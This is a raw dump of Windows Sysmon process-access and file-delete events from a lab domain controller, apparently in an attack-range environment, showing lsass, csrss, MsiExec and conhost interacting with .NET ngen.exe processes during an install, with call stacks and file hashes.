10341000x800000000000000038773Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.272{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-5207-00000000F001}6772c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038772Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.257{7BD73061-6F1F-613B-5307-00000000F001}25965912C:\Windows\system32\conhost.exe{7BD73061-6F1F-613B-5207-00000000F001}6772c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038771Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.241{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-5307-00000000F001}2596C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038770Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.241{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-5207-00000000F001}6772c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038769Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.241{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F1F-613B-5207-00000000F001}6772c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038768Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.225{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-5007-00000000F001}6824c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038767Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.225{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-5007-00000000F001}6824c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038766Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.210{7BD73061-6F1F-613B-5107-00000000F001}16606640C:\Windows\system32\conhost.exe{7BD73061-6F1F-613B-5007-00000000F001}6824c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038765Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.210{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-5107-00000000F001}1660C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038764Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.194{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-5007-00000000F001}6824c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038763Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.194{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F1F-613B-5007-00000000F001}6824c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038762Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.194{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-4E07-00000000F001}1092c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038761Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.194{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-4E07-00000000F001}1092c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000038760Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.194{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=7F71D7A9053E4468461233898A498D31,SHA256=3F7F5364A855909CE8522EFF36985F432A5B4E86A10BD0D035D89F602A213FAB,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000038759Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.163{7BD73061-6F1F-613B-4F07-00000000F001}5806828C:\Windows\system32\conhost.exe{7BD73061-6F1F-613B-4E07-00000000F001}1092c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000038758Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.163{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C3F81EFC57CC799A0B7A70F702857805,SHA256=9E891B8DE354495A5D2E3C4314AB9C4A6E20C534D5066A864B86B8DBD836BA17,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000038757Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.163{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-4F07-00000000F001}580C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038756Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.163{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-4E07-00000000F001}1092c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038755Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.163{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F1F-613B-4E07-00000000F001}1092c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038754Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.147{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-4C07-00000000F001}4988c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038753Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.147{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-4C07-00000000F001}4988c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038752Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.132{7BD73061-6F1F-613B-4D07-00000000F001}51846152C:\Windows\system32\conhost.exe{7BD73061-6F1F-613B-4C07-00000000F001}4988c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000038751Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.132{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F8B800A873EAD04C9DCFB85F87810988,SHA256=5B46AC390C92A9FD06481034F03E2F7DB6D119084AAEB35028BB91605D23C3E0,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000038750Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.116{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-4D07-00000000F001}5184C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038749Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.116{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-4C07-00000000F001}4988c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038748Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.116{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F1F-613B-4C07-00000000F001}4988c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038747Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.100{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-4A07-00000000F001}6928c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038746Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.100{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-4A07-00000000F001}6928c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038745Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.085{7BD73061-6F1F-613B-4B07-00000000F001}71003876C:\Windows\system32\conhost.exe{7BD73061-6F1F-613B-4A07-00000000F001}6928c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038744Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.069{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-4907-00000000F001}5804C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038743Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.069{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-4907-00000000F001}5804C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038742Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.069{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-4B07-00000000F001}7100C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 